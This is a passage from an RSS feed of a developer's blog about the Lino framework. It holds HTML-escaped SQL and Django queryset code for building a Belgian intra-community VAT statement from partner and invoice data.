  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street_no&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street_box&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remarks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;payment_term_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;purchase_account_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SUM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_vataccountinvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;total_base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;vataccountinvoice_base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SUM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sales_vatproductinvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;total_base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;vatproductinvoice_base&lt;/span&gt;
&lt;span class="n"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;vat_vataccountinvoice&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vat_vataccountinvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;partner_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;sales_vatproductinvoice&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sales_vatproductinvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;partner_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;vat_vataccountinvoice&lt;/span&gt; &lt;span class="n"&gt;T4&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;partner_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;ledger_voucher&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;voucher_ptr_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ledger_voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;ledger_journal&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledger_voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;journal_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ledger_journal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;sales_vatproductinvoice&lt;/span&gt; &lt;span class="n"&gt;T8&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T8&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;partner_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;ledger_voucher&lt;/span&gt; &lt;span class="n"&gt;T9&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T8&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;voucher_ptr_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T9&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;LEFT&lt;/span&gt; &lt;span class="n"&gt;OUTER&lt;/span&gt; &lt;span class="n"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;ledger_journal&lt;/span&gt; &lt;span class="n"&gt;T11&lt;/span&gt; &lt;span class="n"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T9&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;journal_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T11&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;GROUP&lt;/span&gt; &lt;span class="n"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gsm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;country_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;city_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip_code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;region_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street_prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street_no&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street_box&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remarks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;payment_term_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;purchase_account_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;ledger_voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accounting_period_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ledger_journal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preliminary&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;ledger_journal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trade_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T9&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accounting_period_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;T11&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preliminary&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T11&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trade_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T8&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt;
  &lt;span class="n"&gt;HAVING&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledger_voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accounting_period_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;NOT&lt;/span&gt; &lt;span class="n"&gt;ledger_journal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preliminary&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;ledger_journal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trade_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;T4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SUM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_vataccountinvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;total_base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;OR&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T9&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accounting_period_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;NOT&lt;/span&gt; &lt;span class="n"&gt;T11&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preliminary&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;T11&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trade_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;T8&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SUM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sales_vatproductinvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;total_base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;ORDER&lt;/span&gt; &lt;span class="n"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt; &lt;span class="n"&gt;ASC&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0903.html</guid><pubDate>Fri, 03 Sep 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, September 2, 2021</title><link>https://luc.lino-framework.org/blog/2021/0902.html</link><description>&lt;section id="thursday-september-2-2021"&gt;
&lt;h1&gt;Thursday, September 2, 2021&lt;a class="headerlink" href="#thursday-september-2-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2406"&gt;#2406&lt;/a&gt;. The &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-intra-community-statement" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;intra-community statement&lt;/span&gt;&lt;/a&gt; is the
most important XML file to generate because this statement can contain quite
much data. Lino will also be able to generate the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-declaration" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT declaration&lt;/span&gt;&lt;/a&gt;, but
that’s less urgent because end users more easily agree to manually enter a few
numbers.&lt;/p&gt;
&lt;p&gt;First thing was to move the XSD file for SEPA &lt;a class="reference external" href="https://using.lino-framework.org/plugins/finan.html#term-payment-order" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;payment orders&lt;/span&gt;&lt;/a&gt; from &lt;a class="reference external" href="https://etgen.lino-framework.org/api/index.html#module-etgen" title="(in etgen v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;etgen&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.finan.html#module-lino_xl.lib.finan" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.finan&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and to generalize it.&lt;/p&gt;
&lt;p&gt;The last thing for today is to design the queryset to be used in the
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-intra-community-statement" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;intra-community statement&lt;/span&gt;&lt;/a&gt;. Here is how far I got for now:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;

&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_book.projects.cosi1.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.utils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;translation&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.db.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.db.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Sum&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.ledger.choicelists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TradeTypes&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.vat.choicelists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;VatRegimes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;VatAreas&lt;/span&gt;

&lt;span class="n"&gt;intracom_regimes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;VatRegimes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_list_items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_area&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;VatAreas&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eu&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ledger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AccountingPeriod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2014-02&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_id__isnull&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# qs = qs.exclude(vat_id__startswith=&amp;quot;BE&amp;quot;)&lt;/span&gt;
